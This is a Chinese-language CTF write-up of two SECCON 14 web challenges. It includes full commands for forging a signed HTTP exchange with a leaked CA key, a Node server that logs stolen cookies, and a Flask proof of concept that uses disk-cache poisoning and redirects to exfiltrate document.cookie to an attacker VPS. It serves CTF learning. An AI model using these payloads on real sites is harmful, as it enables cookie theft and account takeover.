SECCON-CTF-14-Quals

本来不想写了,因为只跟着做了三题,而且都是跟着各位师傅做最后复现了一下。全是我布吉岛的知识,那既然打了那还是写一下吧:D

四道Web题,全是XSS。呃呃呃啊啊。而且都用到了很新的技术,每一题都值得单独写一篇文章。再说吧。

broken-challenge

考点:CA证书泄漏,HTTP/2 SXG + XSS,绕过CORS窃取Cookie

简单看一下题目,给了完整源码和一个入口http://broken-challenge.seccon.games:1337/,访问/hint可以在source里获取根证书的私钥,题目附件里拿到公钥。

打开网页是一个bot,可以填入url,点击REPORT会让bot打开一个puppeteerchromium,访问指定的url。并且有以下设置:

1
2
3
4
5
6
await context.setCookie({
name: "FLAG",
value: flag.value,
domain: "hack.the.planet.seccon",
path: "/",
});

好了思路很清晰,源码里没有更多有价值的信息,直接开始分析。首先这个Cookie设置了这个指定的domain,意味着只有这个domain才能访问到这个Cookie。显然,我们需要绕过这个CORS获取到它。不过呢,我们显然无法把这个域名绑定到我们自己的VPS上。这里需要用到一项来自HTTP/2的技术Signed HTTP Exchanges(简称 SXG)。

什么是SXG

比起讲“是什么”,我更倾向于讲它可以干什么。一句话来讲,SXG可以让内容可以被可信地转发,而不失去原始网站的身份

举个例子,去银行办事情,需要证件齐全,这能够证明你就是你。不过这次,你是代理公司办事情,证明你是你并没有意义,你需要做的是证明你携带的材料确实是这个公司的,并且没有被篡改,是真实有效的。

其实可以把SXG简单地理解为有证书验证的缓存。它本质上是一个被签名的 HTTP 响应包。有了它,浏览器就可以放心的认可这些资源的来源。它实际上是缓存与CDN的结合,有了缓存灵活、离线可用的优势,又有了CDN便于分发的特点。但最根本的目的是,让HTTP请求无需关心是谁发送的,而是关心是谁产生的。它把信任链从连接层搬到了内容层。

SXG由哪些东西组成?

  1. 目标 URL(request side):这是一个明确写死的url,例如:https://example.com/index.html,包括 scheme、host、path

  2. HTTP 响应(response side):字面意思,平时的HTTP怎么响应这里就是什么。(请求头一般不在SXG里,这里只包含只有响应)。

  3. 有效期(integrity window):包含validityUrl、date、expires。很显然,SXG不能永久有效,否则会被无限转发。其有效期通常是几分钟到几天。

  4. 签名(signature):可以理解,就用网站的私钥签名。与TLS就没啥区别。

  5. 证书引用(cert-url):SXG本身并不包含完整证书链,而是包含一个cert-url,指向一个.cbor文件。解析SXG时,浏览器会去请求这个证书包来验证签名

如何生成SXG?

这也是本题的考点。当然也是非常标准的SXG生成流程。这里会用题目条件进行完整的手动演示。现在我手里只有一对CA证书的公钥和私钥。开始吧。

获取CA证书

有CA证书是本题的关键,也可以说是一种提示吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 由/hint路由泄漏
cat > ca.key <<EOF
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIDXSM3v5wDSRra/TS/InNmXoVWqm4W/HsWyJ5qzqk0lUoAoGCCqGSM49
AwEHoUQDQgAElm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5
wGUkCtk/c9u1e64FKrqqHva6JMAJFafgOw==
-----END EC PRIVATE KEY-----
EOF

# 题目附件携带
cat > ca.crt <<EOF
-----BEGIN CERTIFICATE-----
MIIBizCCATCgAwIBAgIUbjrJ6hhsPbR+q3b8T6k3HkFyOEwwCgYIKoZIzj0EAwIw
ETEPMA0GA1UEAwwGc2VjY29uMB4XDTI1MTEzMDA5MTk1NloXDTM1MTEyODA5MTk1
NlowETEPMA0GA1UEAwwGc2VjY29uMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE
lm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5wGUkCtk/c9u1
e64FKrqqHva6JMAJFafgO6NmMGQwHQYDVR0OBBYEFDodm68MB38A8T2XQBNFvbqd
m0UNMB8GA1UdIwQYMBaAFDodm68MB38A8T2XQBNFvbqdm0UNMBIGA1UdEwEB/wQI
MAYBAf8CAQAwDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMCA0kAMEYCIQCDgCwj
OhKsCL0k3BQMLjpmIRLolYE9hIB9UQB7lEMlJAIhAM3Rujzc1PfYeejf/cZE+KFB
UbPgcyNGemJdufTNUF1z
-----END CERTIFICATE-----
EOF

生成证书

接着写一个openssl的配置文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat > sxg.ext <<EOF
[req]
distinguished_name = req_distinguished_name
req_extensions = v3_req
[req_distinguished_name]
CN = hack.the.planet.seccon
[v3_req]
basicConstraints = CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment
extendedKeyUsage = serverAuth
subjectAltName = @alt_names
1.3.6.1.4.1.11129.2.1.22 = ASN1:NULL
[alt_names]
DNS.1 = hack.the.planet.seccon
IP.1 = 120.26.146.96
EOF

很复杂,我们拆开来看。(不要复制下面这个,注释会报错)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[req]
distinguished_name = req_distinguished_name # 规定证书的“名字字段”,默认设置
req_extensions = v3_req # SXG 要求扩展必须在证书里
[req_distinguished_name]
CN = hack.the.planet.seccon # 证书的Common Name
[v3_req]
basicConstraints = CA:FALSE # 声明不是CA证书,否则浏览器会直接拒绝
keyUsage = digitalSignature, nonRepudiation, keyEncipherment # 默认模版,照抄
extendedKeyUsage = serverAuth # SXG只接受 serverAuth,不允许clientAuth、codeSigning
subjectAltName = @alt_names # 在下面定义
1.3.6.1.4.1.11129.2.1.22 = ASN1:NULL # SXG的专用OID,浏览器依靠这个判断它是合法的SXG证书
[alt_names]
DNS.1 = hack.the.planet.seccon # 定义了这个SXG对应的URL,这里我们就是希望伪造成这个URL
IP.1 = 120.26.146.96 # 正常来说这里不该写IP,但我需要https投递sxg,复用一下吧

接下来一长串命令都是为了生成cbor格式的证书:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 生成这个站点的私钥,生成 server.key
openssl ecparam -name prime256v1 -genkey -out server.key

# 生成 CSR(证书签名请求),生成 server.csr
openssl req -new -key server.key -out server.csr -subj "/CN=hack.the.planet.seccon" -config sxg.ext

# 伪装CA签发证书 (注意 -sha256 和 -extfile),生成 server.crt
openssl x509 -req -days 90 -in server.csr -CA ca.crt -CAkey ca.key -set_serial 0x1000 -out server.crt -extensions v3_req -extfile sxg.ext -sha256

# 创建OCSP索引文件(证书状态数据库)
# V 代表 Valid(未吊销)
# 301231235959Z 是 过期时间
# 1000 是 序列号,后面打算单开一篇文章详细学一下X.509
# /CN=hack.the.planet.seccon 那就字面意思
echo -e "V\t301231235959Z\t\t1000\tunknown\t/CN=hack.the.planet.seccon" > index.txt

# 生成生成 OCSP 请求(正常的HTTPS中 由浏览器完成)
openssl ocsp -issuer ca.crt -cert server.crt -reqout server.req

# 签署响应 (假装自己是 CA 进行 OCSP 签名)
openssl ocsp -index index.txt -rsigner ca.crt -rkey ca.key -CA ca.crt -reqin server.req -respout server.ocsp -ndays 365

# 合并证书链(顺序很重要,先站点证书,再CA证书)
cat server.crt ca.crt > chain.pem

# 转换为 CBOR (SXG 专用格式)
# 使用下面两条命令安装工具并且临时设置环境变量
# go install github.com/WICG/webpackage/go/signedexchange/cmd/gen-certurl@latest
# export PATH=$PATH:$(go env GOPATH)/bin
gen-certurl -pem chain.pem -ocsp server.ocsp > cert.cbor

合成SXG包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
cat > payload.html <<EOF
<!DOCTYPE html>
<html>
<body>
<h1>SXG Attack</h1>
<script>
// 这段代码会在 hack.the.planet.seccon 的域下执行
// 记得修改flag接收地址
navigator.sendBeacon("https://VPS:PORT/log?cookie=" + encodeURIComponent(document.cookie));
</script>
</body>
</html>
EOF

gen-signedexchange \
-uri https://hack.the.planet.seccon/ \
-content payload.html \
-certificate server.crt \
-privateKey server.key \
-certUrl https://VPS:PORT/cert.cbor \
-validityUrl https://hack.the.planet.seccon/resource.validity.1700000000 \
-o exploit.sxg

投放SXG

server.cjs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
const http2 = require('http2');
const fs = require('fs');
const url = require('url');

// 读取之前生成的证书
const options = {
key: fs.readFileSync('server.key'),
cert: fs.readFileSync('server.crt'),
allowHTTP1: true
};

const server = http2.createSecureServer(options, (req, res) => {
const path = req.url.split('?')[0]; // 获取路径
console.log(`[Request] ${req.method} ${req.url}`);

// 允许跨域
res.setHeader('Access-Control-Allow-Origin', '*');

if (path === '/exploit.sxg') {
// 关键:SXG 的 MIME 类型
res.setHeader('Content-Type', 'application/signed-exchange;v=b3');
res.setHeader('X-Content-Type-Options', 'nosniff');
res.end(fs.readFileSync('exploit.sxg'));
}
else if (path === '/cert.cbor') {
// 关键:证书链的 MIME 类型
res.setHeader('Content-Type', 'application/cert-chain+cbor');
res.end(fs.readFileSync('cert.cbor'));
}
else if (path === '/log') {
// 接收 Cookie
const query = url.parse(req.url, true).query;
console.log('\n=============================');
console.log('🔥 FLAG CAPTURED: ' + query.cookie);
console.log('=============================\n');
res.end('ok');
}
else {
res.statusCode = 404;
res.end('Not Found');
}
});

server.listen(8443, '0.0.0.0', () => {
console.log('[*] Server listening on https://VPS:PORT');
});

去靶机Admin Bot那里填入https://VPS:PORT/exploit.sxg,点击REPORT,终端日志里会有flag

flag

非常好PDF

framed-xss

考点:磁盘缓存投毒 + initiator绕过 + redirect特性 + XSS

题目介绍

1
2
3
4
The sandbox makes everything secure.

Challenge: http://framed-xss.seccon.games:3000
Admin bot: http://framed-xss.seccon.games:1337

容器内网域名是webflag存在web域名的Cookie里

访问Challenge网页,有一个输入框,输入html内容后,点击Render,刚刚的网页会渲染在下方的iframe中,同时url变为http://web:3000/?html=<PAYLOAD>。不过render的内容是从http://web:3000/view?html=<PAYLOAD>获取的,这个路由会一模一样地返回<PAYLOAD>,不过/view需要一个特殊的请求头"From-Fetch": "1"(由html添加)。直接访问/view会提示Use fetch(400 BAD REQUEST)。

1
2
3
4
5
@app.get("/view")
def view():
if not request.headers.get("From-Fetch", ""):
return "Use fetch", 400
return request.args.get("html", "")

访问Admin bot可以向bot发送一个url,bot会开一个无头chromium访问。所以正常想访问到/view,必须通过challenge页面。不过,考虑到磁盘缓存投毒,一切都不一样了。

在开始之前,先铺一些基础知识。

什么是SameSite

什么是顶级导航(top-level navigation)

在浏览器里,顶级被认为是URL框输入的地址。因此,只有让URL发生改变,才算做是顶级导航

典型的顶级导航有以下几种

  1. 在页面里点一个普通 <a href="https://example.com">
  2. window.location = "https://example.com"
  3. 表单 <form action="..."> 提交
  4. window.open() 打开新 tab(新 tab 的那次加载本身是顶级的)
  5. 用户在地址栏手敲 URL 回车

典型的非顶级导航

  1. iframe 自己跳转:<iframe src=...>
  2. iframe 里 iframe.contentWindow.location = ...
  3. fetch / xhr / img / script 加载资源

什么是显式导航(explicit navigation)

由用户行为或页面脚本明确触发的导航。

这里只给出一个反例:重定向(redirect)不是显式导航。因为它被视作一次导航的中间过程

RFC6265bis?

做题时有注意到这样一个issue,它指出当时对SameSite的定义存在分歧。虽然这不是本题的重点,但有助于深入理解本题的原理。

简单来说,当时并没有一个明确的规范定义重定向是否算为SameSite。随着RFC6265bis的落地,这个问题最终达成了共识。

参考这个issue,先定义一下符号,规定

=>:一次显式导航(用户或脚本触发的顶级导航)

->:HTTP 重定向

A:第一方站点,设置了 SameSite=Strict/Lax 的 cookie

这个issue提到,普遍的认识和浏览器实现存在语意上的偏差

Safari/FireFox看来,SameSite的核心判断标准是:这个cookie是否是在一次“跨站发起的导航”中被携带的。有点抽象,看下面这两个例子:

A => B => A:(两次独立导航)第二次回到A,是一个跨站发起的顶级导航,按照这个规范,=> A:只发 Lax,不发 Strict

A => B -> A:(中间是 redirect)按照规范,这应该等价于上面那种情况,-> A: 也应该 只发 Lax,不发 Strict

RFC6265bis规范落地之前的Chromium在:

A => B -> A的时候,-> A: Strict 和 Lax 都会被发送

也就是说,Redirect没有被当作一次新的跨站发起,Chromium将整个过程视作同一导航的延续。这意味着,只要B站点可控,那么再做一次重定向,同样会向A站点发送Strict Cookie

这个争议随着RFC6265bis的出台最终结束。结果是,Chromium开始遵循更严格的跨站规则。

Chromium缓存机制

为了避免不必要的网络连接,加速网页加载。浏览器通常会使用缓存。回到题目中来,很显然,iframe内是无法执行xss脚本的。我们需要一个xss的注入点。

如果我们能够通过前一个网页去fetch/view?html=<PAYLOAD>,如果这个URL被写入了磁盘缓存,当下一次直接访问/view?html=<PAYLOAD>时,浏览器或许不会检查header,而是直接返回<PAYLOAD>,那么作为一次顶级导航,其中的script可以被执行。

不过想要Chromium使用缓存,不仅要URL一致,更重要的是,需要让浏览器判断此次访问为SameSiteSameSite的判定,是多种数据的综合结果。

我们不难想到,让bot请求我的http://VPS:PORT/exploit.html,在这个顶级的请求里,先用/去fetch,把payload存入缓存,再访问/view,跳过Header检查,执行XSS,窃取Cookie。不过,怎么样才会让浏览器认定两次请求是SameSite呢?

在最近的Chromium中,缓存键新增了一项:initiator,也就是此次连接的发起者。

这意味着,浏览器会记录每一个请求由谁发起。显然,我们的设想里,第一次由http://web:3000/发起,后一次由http://VPS:PORT/exploit.html发起。浏览器不会认可SameSite,自然也不会使用磁盘缓存

举个例子,我们直接在:3000/console执行这段js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 本地测试所以是http://framed-xss.seccon.games:3000,给bot要换成http://web:3000
let BASE_URL = "http://framed-xss.seccon.games:3000";
let payload = "<svg/onload=alert(%27gg%27)>";

function exploit(){
win = window.open(`${BASE_URL}/view?html=${payload}`);

setTimeout(() => {
win.location = `${BASE_URL}/?html=${payload}`;
setTimeout(() => {
setTimeout(() => {
win.history.go(-1);
}, 100);
}, 150);
}, 350);
}

exploit();

这个脚本会在顶级窗口打开/view?html=<PAYLOAD>,这里会Use fetch(400 BAD REQUEST)

然后让这个窗口跳转到/?html=<PAYLOAD>/view => /同窗口、同站点、显式顶级导航。这一步会请求有fetch请求头的/view?html=<PAYLOAD>,返回<PAYLOAD>这个响应会被缓存

当前历史栈如下:

1
2
0: /view?html=<PAYLOAD>
1: /?html=<PAYLOAD> ← 当前

注意刚刚带fetch的/view?html=<PAYLOAD>并不在历史栈里啊。这时候history.go(-1)回到/view?html=<PAYLOAD>,应用之前的缓存,浏览器不再请求服务器,因此也没有了fetch请求头的验证。这里直接返回了<PAYLOAD>,而且是在顶级窗口,XSS成功触发,并且执行的域刚好是framed-xss.seccon.games(本地演示,对应靶机内的web),可以拿到Cookie。

成功弹窗
可以看到,成功弹窗。注意URL,这个地址如果刷新一下,就又会显示Use fetch(400 BAD REQUEST)

磁盘缓存

这时候我们换一个网页执行这段js,比如本地部署的靶机,环境一模一样,除了执行js的URL是localhost

提示Use fetch

失败了,根本没弹窗。确实是磁盘缓存,只不过这个磁盘缓存,缓存的是跳转之后的响应,即Use fetch(400 BAD REQUEST)。分析一下原因,因为此时的initiatorlocalhost,而/?html=<PAYLOAD>发送的带fetch头的请求的initiatorhttp://framed-xss.seccon.games:3000。显然这initiator都不一样,浏览器肯定不会判定你这是SameSite,响应为<PAYLOAD>的缓存自然不会使用。

这也是为什么把这段js改写成html,放在vps上,让bot访问http://VPS:PORT/exploit.html,却无法成功XSS的原因。

那有没有办法绕过这个initiator的限制呢?有的兄弟有的,当无头浏览器page.goto()时,initiator会被设置为null

我们来看Chromium源码

1
2
3
4
5
6
7
8
if (initiator.has_value() && is_mainframe_navigation) {
const bool is_initiator_cross_site =
!net::SchemefulSite::IsSameSite(*initiator, url::Origin::Create(url));
if (is_initiator_cross_site) {
is_cross_site_main_frame_navigation_prefix =
kCrossSiteMainFrameNavigationPrefix;
}
}

initiatornull时,Chromium就不会设置cross-site bit。这意味着,缓存将会被使用。

我们来看题目的bot源码:

1
2
3
4
const page = await context.newPage();
await page.goto(url, { timeout: 3_000 });
await sleep(5_000);
await page.close();

题目使用的是puppeteer来控制无头浏览器。这里的page.goto()相当于我们手动输入URl并按下回车。这里有详细的介绍。我们的PoC可以在这个基础上修改。

总结来说:当无头浏览器page.goto(url)时,initiatornull,这会被Chroimum认为是SameSite,再来看一段源码

1
2
3
4
5
6
// Create a SiteForCookies object from the initiator so that we can reuse
// IsFirstPartyWithSchemefulMode().
bool same_site_initiator =
!initiator ||
SiteForCookies::FromOrigin(initiator.value())
.IsFirstPartyWithSchemefulMode(request_url, compute_schemefully);

而只要通过了这个SameSite检测,那么中间无论发生多少重定向,无论跨域/不跨域,都不会阻止SameSite=Strict的Cookie发送

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (same_site_initiator) {
if (same_site_redirect_chain) {
result.context_type = ContextType::SAME_SITE_STRICT;
return result;
}
cross_site_redirect_downgraded_from_strict = true;
// If we are not supposed to consider redirect chains, record that the
// context result should ultimately be strictly same-site. We cannot
// just return early from here because we don't yet know what the context
// gets downgraded to, so we can't return with the correct metadata until we
// go through the rest of the logic below to determine that.
use_strict = !base::FeatureList::IsEnabled(
features::kCookieSameSiteConsidersRedirectChain);
}

很有趣的一点是,检查中间的重定向是否SameSite其实有实现,但作为特性默认关闭

1
2
BASE_FEATURE(kCookieSameSiteConsidersRedirectChain,
base::FEATURE_DISABLED_BY_DEFAULT);

其实有相关issue讨论这个问题,但无论如何这个特性到目前的最新版(143.0.7499.110)仍然默认禁用

对于这道题目来说,我们可以让bot访问我们的网页,然后CSRF先打开一个新窗口,访问VPS的/redir路由,这个路由会发送307重定向/?html=<PAYLOAD>,这会发送一个带有fetch头的/view?html=<PAYLOAD>请求,返回为<PAYLOAD>,写入缓存。此时的initiatorweb,不过没关系。

接着history.back()回来,这时候会第二次请求我们的VPS的/,这VPS返回一个307重定向到/view?html=<PAYLOAD>,因为是返回历史,initiatornull,被认为是SameSite,直接加载缓存,在定居窗口执行了XSS(这一块暂且存疑)。

这里直接给出可用的PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from flask import *

app = Flask("exp")

REMOTE = "http://web:3000"
# 记得把VPS改成你的IP
PAYLOAD = "<svg/onload=fetch(`//VPS:8012/?flag=${encodeURIComponent(document.cookie)}`)>"

@app.after_request
def add_headers(response):
# 这里的 "no-store, no-cache" 只是不要缓存exp
response.headers["Cache-Control"] = "no-store, no-cache"
return response

count = 0
@app.get("/")
def index():
global count

count += 1

if count == 1:
return """
<script>
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
async function exploit() {
win = window.open("/redir")
await sleep(2000);
location = URL.createObjectURL(new Blob([`
<script>setTimeout(()=>history.back(),500)<\/script>
`], { type: "text/html" }))
}
exploit();
</script>
"""
if count == 2:
return redirect(f"{REMOTE}/view?html={PAYLOAD}", 307)

count = 0
return "wtf"

@app.get("/redir")
def redir():
return redirect(f"{REMOTE}/?html={PAYLOAD}", 307)

app.run("0.0.0.0", 8012)